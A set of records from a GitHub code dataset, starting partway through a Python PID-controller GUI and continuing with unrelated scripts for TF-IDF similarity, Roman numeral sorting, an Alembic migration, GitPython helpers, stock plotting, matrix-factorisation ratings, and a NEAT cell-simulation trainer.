pyaudio.PyAudio()\n        self.stream = self.mic.open(format=pyaudio.paInt16, channels=1, rate=16000, input=True, frames_per_buffer=81)\n        self.stream.start_stream()\n\n\n        # This is a loop for printing voice recognized audio to the console, I think it needs to be a method or\n        # attribute of how the class takes input\n        \"\"\"\n        while True:\n            data = self.stream.read(4096)\n            if self.voice_recog.AcceptWaveform(data):\n                text = self.voice_recog.Result()\n                print(f\"{text[14:-3]}\")\n        \"\"\"\n\n        # Tests/ Strings\n\n        self.voice_engine.runAndWait()\nclass tkinterGUI:\n\n    def total_samples(self, sample_rate=20, total_time=20):\n        total_samples = int(sample_rate * total_time)\n        return total_samples\n\n    def plot_formatter(self, df, init_df, ax):\n        plt.cla()\n        plot = df.plot(x=\"time\", y=\"velocity\", ax=self.ax)\n        set_point = init_df[\"set_point\"][0]\n        lower_bound = set_point * .75\n        upper_bound = set_point * 1.25\n        yrange = self.ax.get_ylim()\n\n        p = init_df[\"p_k\"][0]\n        i = init_df[\"i_k\"][0]\n        d = init_df[\"d_k\"][0]\n\n        p_string = \"P: \".ljust(5) + str(p).rjust(10)\n        i_string = \"\\nI: \".ljust(5) + str(i).rjust(10)\n        d_string = \"\\nD: \".ljust(5) + str(d).rjust(10)\n        txtbox = (p_string + i_string + d_string)\n\n        properties = dict(boxstyle=\"square\", facecolor=\"white\", alpha=1, edgecolor=\"white\")\n        ax.yaxis.set_label_position(\"left\")\n        ax.text(.85, .5, str(txtbox), transform=self.ax.transAxes, fontsize=14,\n                verticalalignment=\"top\", bbox=properties)\n\n        if self.display_set_point.get() == True:\n            plt.axhline(y=set_point, color=\"r\", linestyle=\"--\")\n        if self.display_overshoot_ranges.get() == True:\n            plt.axhline(y=lower_bound, color=\"r\", linestyle=\"--\")\n            plt.axhline(y=upper_bound, color=\"r\", linestyle=\"--\")\n        if self.lock_scale.get() == True:\n            self.ax.set_ylim(yrange)\n            plt.yticks(np.linspace(0, 5, 10))\n        plt.draw()\n        return\n\n    def list_to_df(self, list):\n        values_gotten = [list[0].get(), list[1].get()]\n\n        sample_number = int(self.total_samples(values_gotten[0], values_gotten[1]))\n        values_gotten.append(sample_number)\n        for i in list[2::1]:\n            values_gotten.append(i.get())\n        values_labels = [\"sample_length\", \"sample_freq\", \"sample_number\", \"pos_start\", \"vel_start\", \"accel_start\",\n                         \"mass\", \"scale_factor\", \"set_point\", \"p_k\", \"i_k\", \"d_k\",\n                         \"control_constant\"]\n\n        df = pd.DataFrame(data=values_gotten, index=values_labels).T\n        return df\n\n    def sim_and_plot(self, init_vals_df, ax):\n        \"\"\"\n        This function takes the object and a dataframe as arguments and makes the plot (lots of GUI magic happening here)\n        :param init_vals_df:\n        :return:\n        \"\"\"\n        has_figure = hasattr(self, \"figure\")\n        has_ax = hasattr(self, \"ax\")\n        has_canvas = hasattr(self, \"canvas\")\n        if has_figure and not has_canvas:\n            self.canvas = FigureCanvasTkAgg(self.figure, self.root)\n            plt.cla()\n            self.canvas.draw()\n            self.canvas.get_tk_widget().grid(row=5, column=0, columnspan=5)\n            self.has_canvas = True\n        elif has_figure and has_canvas:\n            plt.cla()\n            self.canvas.draw()\n        df = simulate(init_vals_df)\n        self.plot_formatter(df, init_vals_df, self.ax)\n        return\n\n    def updateValue(self, event):\n        if self._job:\n            self.root.after_cancel(self._job)\n        self._job = self.root.after(50, self.updateGraph)\n\n    def updateGraph(self):\n\n        \"\"\"\n        Here x 2 pay attention\n        \"\"\"\n        has_graph = hasattr(self, \"has_graph\")\n        if not has_graph:\n            print(has_graph, \"no graph exists yet\")\n            self.figure, self.ax = plt.subplots()\n            figure = self.figure\n            ax = self.ax\n            setattr(self, \"has_graph\", True)\n            has_graph = getattr(self, \"has_graph\")\n            print(has_graph, \"graph created\")\n        else:\n            figure = getattr(self, \"figure\")\n            ax = getattr(self, \"ax\")\n            plt.cla()\n        self.sim_and_plot(self.list_to_df(self.init_list), ax)\n        return\n\n    def __init__(self):\n        self.root = tk.Tk()\n        self._job = None\n\n        self.root.title(\"PID Controller v1.2.b\")\n\n        self.root.attributes(\"-fullscreen\", False)\n        self.root.configure(bg=\"DimGray\")\n\n        \"\"\"\n        Simulation Parameters\n        \"\"\"\n        # Interface flags\n        self.frac_vals = tk.BooleanVar(self.root, False)\n        self.lock_scale = tk.BooleanVar(self.root, False)\n        self.display_set_point = tk.BooleanVar(self.root, False)\n        self.display_overshoot_ranges = tk.BooleanVar(self.root, False)\n\n        # Length of dataframe variables\n        self.sample_length = tk.IntVar()  # seconds\n        self.sample_freq = tk.IntVar()  # Hz\n\n        # Initial conditions\n        self.pos_start = tk.DoubleVar()  # meters\n        self.vel_start = tk.DoubleVar()  # m/s\n        self.accel_start = tk.DoubleVar()  # m/s^2\n\n        # Static variable (for now)\n        self.mass = tk.DoubleVar()  # kilograms\n\n        # PID parameters\n        self.set_point = tk.DoubleVar()  # float(input(\"Set point of speed to maintain? \"))\n        self.p_k = tk.DoubleVar()  # float(input(\"Proportional term? \"))\n        self.i_k = tk.DoubleVar()  # float(input(\"Integral term? \"))\n        self.d_k = tk.DoubleVar()  # float(input(\"Derivative term? \"))\n        self.scale_factor = tk.DoubleVar()  # float(input(\"Scaling factor for external disturbance? \"))\n        self.control_constant = tk.DoubleVar()  # this is your k omega\n\n        \"\"\"\n        Sliders\n        \"\"\"\n\n        self.sample_length_slider = tk.Scale(\n            self.root,\n            from_=5,\n            to=50,\n            orient=\"horizontal\",\n            variable=self.sample_length,\n            label=\"Sample Length\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        self.sample_freq_slider = tk.Scale(\n            self.root,\n            from_=5,\n            to=50,\n            orient=\"horizontal\",\n            variable=self.sample_freq,\n            label=\"Sample Freq.\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        # Kinematic parameters\n        self.position_start_slider = tk.Scale(\n            self.root,\n            from_=0,\n            to=50,\n            orient=\"horizontal\",\n            variable=self.pos_start,\n            label=\"Init. Pos.\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        self.velocity_start_slider = tk.Scale(\n            self.root,\n            from_=0,\n            to=50,\n            orient=\"horizontal\",\n            variable=self.vel_start,\n            label=\"Init. Vel.\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        self.accel_start_slider = tk.Scale(\n            self.root,\n            from_=0,\n            to=5,\n            orient=\"horizontal\",\n            variable=self.accel_start,\n            label=\"Init. Accel\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n\n        self.mass_slider = tk.Scale(\n            self.root,\n            from_=1,\n            to=100,\n            orient=\"horizontal\",\n            variable=self.mass,\n            label=\"Mass\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        self.scale_factor_slider = tk.Scale(\n            self.root,\n            from_=10,\n            to=1,\n            resolution=.01,\n            orient=\"vertical\",\n            variable=self.scale_factor,\n            label=\"Disturbance\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        # PID parameters\n        self.set_point_slider = tk.Scale(\n            self.root,\n            from_=50,\n            to=1,\n            resolution=.01,\n            orient=\"vertical\",\n            variable=self.set_point,\n            label=\"Set Point\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        self.p_k_slider = tk.Scale(\n            self.root,\n            from_=9,\n            to=0,\n            resolution=.01,\n            orient=\"vertical\",\n            variable=self.p_k,\n            label=\"P\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        self.p_k_slider.set(0)\n\n        self.i_k_slider = tk.Scale(\n            self.root,\n            from_=3,\n            to=0,\n            resolution=.01,\n            orient=\"vertical\",\n            variable=self.i_k,\n            label=\"I\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        self.i_k_slider.set(0)\n\n        self.d_k_slider = tk.Scale(\n            self.root,\n            from_=3,\n            to=0,\n            resolution=.01,\n            orient=\"vertical\",\n            variable=self.d_k,\n            label=\"D\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        self.d_k_slider.set(0)\n\n        # Control constant\n        self.control_constant_slider = tk.Scale(\n            self.root,\n            from_=5,\n            to=-1,\n            resolution=.01,\n            orient=\"vertical\",\n            variable=self.control_constant,\n            label=\"Control Const\",\n            bg=\"DimGray\",\n            fg=\"White\",\n            command=self.updateValue)\n        self.control_constant_slider.set(1)\n        # List of initialization parameters necessary to run the modeling\n        self.init_list = [self.sample_length_slider, self.sample_freq_slider, self.position_start_slider,\n                          self.velocity_start_slider,\n                          self.accel_start_slider, self.mass_slider, self.scale_factor_slider, self.set_point_slider,\n                          self.p_k_slider, self.i_k_slider, self.d_k_slider, self.control_constant_slider]\n\n        # Main Button\n        self.simulate_button = tk.Button(\n            self.root,\n            command=lambda: self.sim_and_plot(time_samples_to_df(self.init_list), self.ax),\n            text=\"Simulate\",\n            bg=\"silver\",\n            fg=\"Black\")\n\n        self.clear_plot = tk.Button(self.root,\n                                    command=plt.cla,\n                                    text=\"Clear Plot\",\n                                    bg=\"DimGray\",\n                                    fg=\"White\")\n\n        self.save_plot = tk.Button(self.root,\n                                   text=\"Save Plot\",\n                                   bg=\"DimGray\",\n                                   fg=\"White\")\n\n        # Additional Check Options\n        self.lock_scale_check = tk.Checkbutton(self.root,\n                                               text=\"Lock Scale\",\n                                               bg=\"DimGrey\",\n                                               fg=\"Black\",\n                                               onvalue=True,\n                                               variable=self.lock_scale)\n        self.frac_vals_check = tk.Checkbutton(self.root,\n                                              text=\"Fractional PID\",\n                                              bg=\"DimGrey\",\n                                              fg=\"Black\",\n                                              onvalue=True,\n                                              variable=self.frac_vals)\n        self.set_point_check = tk.Checkbutton(self.root,\n                                              text=\"Show Set Point\",\n                                              bg=\"DimGrey\",\n                                              fg=\"Black\",\n                                              onvalue=True,\n                                              variable=self.display_set_point)\n        self.overshoot_ranges_check = tk.Checkbutton(self.root,\n                                                     text=\"Show 25% Ranges\",\n                                                     bg=\"DimGrey\",\n                                                     fg=\"Black\",\n                                                     onvalue=True,\n                                                     variable=self.display_overshoot_ranges)\n\n        self.save_plot.grid(row=0, column=0)\n        self.clear_plot.grid(row=1, column=0)\n        self.simulate_button.grid(row=2, column=0)\n\n        self.frac_vals_check.grid(row=0, column=5, sticky=\"w\")\n        self.lock_scale_check.grid(row=1, column=5, sticky=\"w\")\n        self.set_point_check.grid(row=2, column=5, sticky=\"w\")\n        self.overshoot_ranges_check.grid(row=3, column=5, sticky=\"w\")\n        # i term order\n        # d term order\n\n        # Initialization Params\n        self.sample_length_slider.grid(row=0, column=1, sticky=\"nsew\")\n        self.sample_freq_slider.grid(row=1, column=1, sticky=\"nsew\")\n        self.position_start_slider.grid(row=0, column=2, sticky=\"nsew\")\n        self.velocity_start_slider.grid(row=1, column=2, sticky=\"nsew\")\n        self.accel_start_slider.grid(row=2, column=2, sticky=\"nsew\")\n        self.mass_slider.grid(row=2, column=1, sticky=\"nsew\")\n\n        # PID Params\n        self.scale_factor_slider.grid(row=0, column=3, sticky=\"nsew\")\n        self.set_point_slider.grid(row=0, column=4, sticky=\"nsew\")\n\n        self.p_k_slider.grid(row=1, column=3, sticky=\"nsew\")\n        self.i_k_slider.grid(row=1, column=4, sticky=\"nsew\")\n\n        self.d_k_slider.grid(row=2, column=3, sticky=\"nsew\")\n        self.control_constant_slider.grid(row=2, column=4, sticky=\"nsew\")\n\n        self.root.mainloop()\n\n\nclass ipythonGUI:\n\n    def ipython_list_to_df(self, list):\n        values_gotten = [list[0], list[1]]\n\n        sample_number = int(total_samples(values_gotten[0], values_gotten[1]))\n        values_gotten.append(sample_number)\n        for i in list[2::1]:\n            values_gotten.append(i)\n        values_labels = [\"sample_length\", \"sample_freq\", \"sample_number\", \"pos_start\", \"vel_start\", \"accel_start\",\n                         \"mass\", \"scale_factor\", \"set_point\", \"p_k\", \"i_k\", \"d_k\",\n                         \"control_constant\"]\n\n        df = pd.DataFrame(data=values_gotten, index=values_labels).T\n        return df\n\n    def sim_and_plot(self, init_vals_df, axes):\n        df = simulate(init_vals_df)\n        df.plot(x=\"time\", y=\"velocity\", ax=axes)\n        plt.draw()\n        return\n\n    def __init__(self):\n        self.sample_length_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"Pos_0\",\n            value=5\n        )\n        self.sample_freq_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"Pos_0\",\n            value=10\n        )\n        self.position_start_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"Pos_0\",\n            value=0\n        )\n\n        self.velocity_start_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"Vel_0\",\n            value=0\n        )\n\n        self.accel_start_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"Accel_0\",\n            value=0\n        )\n\n        self.mass_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"Pos_0\",\n            value=0\n        )\n\n        self.scale_factor_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"Dist Factor\",\n            value=0\n        )\n\n        # PID parameters\n\n        self.set_point_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"Set Point\",\n            value=0\n        )\n\n        self.p_k_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"P_K\",\n            value=0\n        )\n\n        self.i_k_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"I_K\",\n            value=0\n        )\n\n        self.d_k_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"D_K\",\n            value=0\n        )\n\n        # Control constant\n        self.control_constant_slider = widgets.IntSlider(\n            min=0,\n            max=10,\n            step=1,\n            description=\"Ctrl Const\",\n            value=0\n        )\n\n        self.widget_list = [self.sample_length_slider, self.sample_freq_slider, self.position_start_slider,\n                            self.velocity_start_slider,\n                            self.accel_start_slider, self.mass_slider, self.scale_factor_slider, self.set_point_slider,\n                            self.p_k_slider,\n                            self.i_k_slider, self.d_k_slider, self.control_constant_slider]\n        for item in self.widget_list:\n            display(item)\n\n        self.sample_length = self.sample_length_slider.value\n        self.sample_freq = self.sample_freq_slider.value\n        self.pos_start = self.position_start_slider.value\n        self.vel_start = self.velocity_start_slider.value\n        self.accel_start = self.accel_start_slider.value\n\n        self.mass = self.mass_slider.value\n        self.scale_factor = self.scale_factor_slider.value\n        self.set_point = self.set_point_slider.value\n        self.p_k = self.p_k_slider.value\n        self.i_k = self.i_k_slider.value\n        self.d_k = self.d_k_slider.value\n        self.control_constant = self.control_constant_slider.value\n        self.sample_number = int(total_samples(self.sample_freq, self.sample_length))\n        self.init_list = [self.sample_length, self.sample_freq, self.sample_number, self.pos_start, self.vel_start,\n                          self.accel_start, self.mass, self.scale_factor, self.set_point, self.p_k, self.i_k, self.d_k,\n                          self.control_constant]\n\n        self.figure = plt.Figure(figsize=(6, 5), dpi=100)\n        self.ax = self.figure.add_subplot(111)\n\n        self.simulate_button = widgets.Button(\n            description=\"Simulate\",\n            icon=\"play\")\n\n        self.simulate_button.on_click(self.sim_and_plot(self.ipython_list_to_df(self.init_list), self.ax))\n\n        self.ax.set_title('Velocity vs. Time')\n\n        self.widget_list = [self.sample_length_slider, self.sample_freq_slider, self.position_start_slider,\n                            self.velocity_start_slider,\n                            self.accel_start_slider, self.mass_slider, self.scale_factor_slider, self.set_point_slider,\n                            self.p_k_slider,\n                            self.i_k_slider, self.d_k_slider, self.control_constant_slider, self.simulate_button]\n\n        for item in self.widget_list:\n            display(item)\n\n        self.init_list = [self.sample_length, self.sample_freq, self.sample_number, self.pos_start, self.vel_start,\n                          self.accel_start, self.mass,\n                          self.scale_factor, self.set_point, self.p_k, self.i_k, self.d_k, self.control_constant]\n\n\n\"\"\"\nFUNCTION DEFINITIONS\n\"\"\"\ndef gui(mode):\n    \"\"\"\n    Initialization Parameters\n    \"\"\"\n    # Two options for GUI\n    # Kinematic parameters\n    if mode == \"ipython\":\n        window = ipythonGUI()\n    elif mode == \"tkinter\":  # the tkinter section\n        window = tkinterGUI()\n    return\n\n\n\ndef initialize(gui_mode=\"n\", gui_type=None):\n    \"\"\"\n    Starts the ui with the specified options.\n    \"\"\"\n    if gui_mode == \"y\":\n        gui(gui_type)\n    else:\n        cmdline_logic()\n\n\"\"\"\nMain Function\n\"\"\"\n\ndef main():\n    initialize(\"y\", \"tkinter\")\n    return\n\nif __name__ == \"__main__\":\n    main()","repo_name":"pyromakesmusic/Math4157","sub_path":"exoskeleton/pyonics/submodules/ui/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":27828,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"72854728692","text":"from Eng_news import formal as f1\nfrom Eng_news2 import formal as f2\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n\ndef tf_idf_eng(doc_one,doc_two):\n    #build corpus list of two doc\n    corp=list()\n    corp.append(doc_one)\n    corp.append(doc_two)\n    print(corp)\n\n    vectorizer=CountVectorizer(stop_words='english') #word freq\n    transformer = TfidfTransformer()\n    tf_idf=transformer.fit_transform(vectorizer.fit_transform(corp))\n    print(len(vectorizer.get_feature_names()))\n    return tf_idf\n\n\nprint('The tf-idf of 2 doc are below:\\n ',tf_idf_eng(f1,f2))\ntfidf=tf_idf_eng(f1,f2)\narr1=tfidf.toarray()[0]\nre1=arr1.reshape(1,-1)\narr2=tfidf.toarray()[1]\nre2=arr2.reshape(1,-1)\n\n\ndef cosine_sim(firstArr,secondArr):\n    return cosine_similarity(firstArr,secondArr)\n\n\nprint('The cosine similarity of two doc is : \\n',cosine_sim(re1,re2))\n","repo_name":"Chao-Eric/NLP_work1","sub_path":"sim_eng.py","file_name":"sim_eng.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73888552372","text":"\"\"\"\nIn some cultures, children are named after ancestors and there is a number following which represents how many ancestors have shared that name. They are often shown as Roman Numerals.\nIn Roman numerals, a value is not repeated more than three times. At that point, a smaller value precedes a larger value to indicate subtraction. For example, the letter I represents the number 1, and V represents 5. Reason through\nthe formation of 1 to 70 below, and see how it is applied in the following lines.\nI, II, III. IV. V. VI. VII. VIII, IX and X represent 1 through 10.\n\nXX XXX XL and L are 20. 30, 40. and 50.\n\nGiven a list of strings comprised of a name and a Roman numeral, sort the list first by name, then by decimal value of the Roman numeral.\nFor example, If you are given the names (Steven XL Steven XVI, David IX, Mary XV. Mary XIII, Mary XX the result of the sort is David IX, Mary XIII, Mary XV, Mary XX, Steven XVI, Steven XL. The result with Roman numerals is the expected\nreturn value. Written with the numbers in decimal, they are David 9, Mary 13, Mary 15, Mary 20, Steven 16, Steven 40.\n\n\"\"\"\n\ndef sortRoman(names):\n\t# Time O(NlogN), space O(N)\n\t# sort the list first by name, then by decimal value of the Roman numeral\n\tnames = [name.split(\" \") for name in names]\n\tfor name in names: # [['mary', 'XX'], ['try', 'XII']]\n\t\tname.append(romanToInt(name[1]))\n\t\tname.append(\" \".join(name[:2]))\n\tnames.sort(key = lambda x: (x[0], x[2]))\n\tprint(\"name sorted->\", names)\n\treturn [name[-1] for name in names]\n\n\t# arr = []\n\t# for name in names:\n\t# \tgiven, roman = name.split(\" \")\n\t# \tsort_key = (given, romanToInt(roman))\n\t# \tarr.append((sort_key, name))\n\t# arr.sort()\n\t# return [name[-1] for name in arr]\n\ndef romanToInt(roman):\n\tromanmap = {'I':1, 'V':5, 'X':10, 'L':50, 'C':100, 'D':500, 'M':1000}\n\tnum = 0\n\tfor i, v in enumerate(roman):\n\t\tif i+1 < len(roman) and romanmap.get(v) < romanmap.get(roman[i+1]):\n\t\t\tnum -= romanmap.get(v)\n\t\telse:\n\t\t\tnum += romanmap.get(v)\n\treturn num\n\nprint(sortRoman([\"Steven XL\", \"Steven XVI\", \"David IX\", \"Mary XV\", \"Mary XIII\", \"Mary XX\"])) \n# ['David IX', 'Mary XIII', 'Mary XV', 'Mary XX', 'Steven XVI', 'Steven XL']\n\n\n\n\n\n","repo_name":"xiaofanc/leetcode","sub_path":"tiktok/ancestral-names.py","file_name":"ancestral-names.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71099262132","text":"\"\"\"product packet range\n\nRevision ID: 125092c3ea2f\nRevises: bc183f1e7455\nCreate Date: 2020-04-16 13:19:50.254266\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '125092c3ea2f'\ndown_revision = 'bc183f1e7455'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('product', sa.Column('packet_range_end', sa.Integer(), nullable=True))\n    op.add_column('product', sa.Column('packet_range_start', sa.Integer(), nullable=True))\n    op.add_column('product_version', sa.Column('packet_range_end', sa.Integer(), autoincrement=False, nullable=True))\n    op.add_column('product_version', sa.Column('packet_range_start', sa.Integer(), autoincrement=False, nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('product_version', 'packet_range_start')\n    op.drop_column('product_version', 'packet_range_end')\n    op.drop_column('product', 'packet_range_start')\n    op.drop_column('product', 'packet_range_end')\n    # ### end Alembic commands ###\n","repo_name":"vrcompugo/EV-Manager-Data-API","sub_path":"migrations/versions/125092c3ea2f_product_packet_range.py","file_name":"125092c3ea2f_product_packet_range.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70735803574","text":"import git\nfrom git import Repo\n\n\nclass GitManager():\n    def __init__(self, repo: git.Repo):\n        self.repo = repo\n    \n    def _get_commit_mess(self):\n        head = self.repo.head\n        \n        last_commit = head.commit\n        commit_mess = last_commit.message\n        commit_hexsha = last_commit.hexsha\n        \n        return commit_mess, commit_hexsha\n    \n    def get_commit_mess(self, str_format=None):\n        commit_mess, commit_hexsha = self._get_commit_mess()\n        if str_format is None:\n            return str(commit_mess) + \"\\t\" + str(commit_hexsha)\n    \n    @classmethod\n    def get_repo(cls, direction='.'):\n        \"\"\"\n        get repo\n        :param direction:\n        :return:\n        \"\"\"\n        repo = Repo(direction)\n        \n        return cls(repo)\n\n\nif __name__ == '__main__':\n    git_manager = GitManager.get_repo(\".\")\n","repo_name":"hanguantianxia/nlp_frameworks","sub_path":"framework/basic/git_tool.py","file_name":"git_tool.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71814679094","text":"import pandas_datareader.data as web\nimport matplotlib.pyplot as plt\nimport datetime\n\n# 조회 시작날짜\nstart = datetime.datetime(2018, 2, 1)\nend = datetime.datetime(2018, 2, 15)\n\nf = web.DataReader('F', 'morningstar', start, end)\nd = web.DataReader('D', 'morningstar', start, end)\n\nprint(f)\nprint(d)\n\nfig = plt.figure('char~~')\n\nfig.set_size_inches(10, 6, forward=True)\n\nprint(f['Close'])\nplt.plot(f['Close'], f['High'], 'b', label='FFFF')\nplt.plot(d['Close'], d['High'], 'r', label='DDDD')\n\nplt.legend(loc='upper left')\nplt.title('alsfjasld')\nplt.xlabel('Close')\nplt.ylabel('High')\n\nplt.show()\n","repo_name":"chcjswo/study-python","sub_path":"section4/4-7-6.py","file_name":"4-7-6.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27655815075","text":"import tensorflow as tf\nimport pandas as pd\nimport numpy as np\nimport scipy\nimport os\nimport Algorithms\nfrom terminal import *\nfrom time import time\n# For s**ts and giggles\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\ntf.config.run_functions_eagerly(True)\n\n#TYPES\n_f32            = tf.dtypes.float32\n_i32            = tf.dtypes.int32\n#DATASET LOCATIONS\n_RATINGS_SMALL  = os.path.join(\"ml-latest-small\",\"ratings.csv\")\n_MOVIE_ID_SMALL = os.path.join(\"ml-latest-small\",\"movies.csv\")\n_HEADERS        = [\"Black Panther\",\n                   \"Pitch Perfect\",\n                   \"Star Wars: The Last Jedi\",\n                   \"It\",\n                   \"The Big Sick\",\n                   \"Lady Bird\",\n                   \"Pirates of the Caribbean\",\n                   \"Despicable Me\",\n                   \"Coco\",\n                   \"John Wick\",\n                   \"Mamma Mia\",\n                   \"Crazy Rich Asians\",\n                   \"Three Billboards Outside Ebbings, Missouri\",\n                   \"The Incredibles\"]\n\n_MOVIE_ID_MAP      = {}\n_ROW_MAP           = {}\n\n\ndef fill(df,method):\n    for col in df:\n        if method == 'mean':\n            replacement = df[col].mean()\n        elif method   == 'zero':\n            replacement = 0\n        df[col].fillna(value = replacement, inplace = True)\n\n\ndef read_data():\n    printc(f\"\\tReading data\",BLUE)\n    t1 = time()\n\n    # Read 'ratings.csv' into a DataFrame from the small set\n    small_ratings   = pd.read_csv(  _RATINGS_SMALL,\n                                    dtype = {   'userId'    :   np.float32,\n                                                'movieId'   :   np.float32,\n                                                'rating'    :   np.float32,\n                                                'timestamp' :   np.float32})\n\n    small_movie_ids  = pd.read_csv(  _MOVIE_ID_SMALL,\n                                    dtype = {   'movieId' : np.float32})\n\n    # Convert the dataframe to correct matrix format: (rows=MovieId, cols=userId)\n    small_ratings_matrix = small_ratings.pivot( index='movieId',    columns='userId',   values='rating')\n\n    # Map movieId to row and vice versa\n    for row, id in enumerate(small_movie_ids['movieId']):\n        _MOVIE_ID_MAP[row]  = id\n        _ROW_MAP[id]        = row\n    #info\n    # Fill with our choice\n    fill(small_ratings_matrix,'zero')\n\n    # convert the dataframe to a Tensor\n    partial_ratings_matrix  = small_ratings_matrix.to_numpy()\n    x,y = np.nonzero(partial_ratings_matrix)\n    filter_matrix = scipy.sparse.csr_matrix(([1 for _ in x], zip(x,y)),shape=np.shape(partial_ratings_matrix)).to_dense()\n    \n    print()\n    # convert all non_zero elements to 1\n\n    printc(f\"\\tRead data in {(time()-t1):.3f} seconds\",GREEN)\n    return partial_ratings_matrix, filter_matrix\n\nratings, filter_matrix = read_data()\nAlgorithms.GradientDescent_optimized(ratings,filter_matrix,dim=100,alpha=.01,iters=10)\n","repo_name":"Steinshark/classes","sub_path":"si470/GradientDescent/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33404605918","text":"import neat\nfrom world.world import World\nimport config\n\n\nclass NeatTrainer:\n\n    def __init__(self, renderer):\n        self.renderer = renderer\n\n        neat_config_path = \"./neat_config\"\n        self.neat_config = neat.Config(neat.DefaultGenome, neat.DefaultReproduction,\n                                       neat.DefaultSpeciesSet, neat.DefaultStagnation,\n                                       neat_config_path)\n\n        self.population = neat.Population(self.neat_config)\n        self.statistics = neat.StatisticsReporter()\n        self.population.add_reporter(self.statistics)\n        self.population.add_reporter(neat.Checkpointer(generation_interval=10, time_interval_seconds=None,\n                                                       filename_prefix=\"testing-\"))\n\n        self.train(101)\n\n        self.render = config.render\n\n    def train(self, generations):\n        self.population.run(self.eval_genomes, generations)\n\n    def eval_genomes(self, genomes, neat_config):\n        print(self.population.generation)\n        self.render = False\n        if self.population.generation % 10 == 0:\n            self.render = True\n        # Create and fill world\n        world = World()\n        world.populate_world(len(genomes))\n        self.assign_genomes_and_nets(world, genomes, neat_config)\n\n        if self.render:\n            self.renderer.set_world(world)\n\n        self.run_generation(world)\n\n        if self.render:\n            self.renderer.reset()\n\n        self.assign_cell_fitnesses(world)\n\n    def assign_genomes_and_nets(self, world, genomes, neat_config):\n        for idx, cell in enumerate(world.cells):\n            genome_id, genome = genomes[idx]\n            net = neat.nn.FeedForwardNetwork.create(genome, neat_config)\n            cell.genome = genome\n            cell.net = net\n\n    def run_generation(self, world):\n        for step in range(config.steps_per_generation):\n            world.tick()\n            if self.render:\n                self.renderer.tick()\n\n    def assign_cell_fitnesses(self, world):\n        highest = 0\n        top_genome = None\n        print(\"Survival fraction is\", len(world.cells) / len(world.cells + world.cell_archive))\n        for cell in world.cells + world.cell_archive:\n            cell.genome.fitness = world.sun_map.value_at(cell.pos)\n            if cell.genome.fitness > highest:\n                highest = cell.genome.fitness\n                top_genome = cell.genome\n\n\n","repo_name":"JRdeLange/Cells_are_NEAT","sub_path":"_gradient_cells/neat_trainer/neat_trainer.py","file_name":"neat_trainer.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
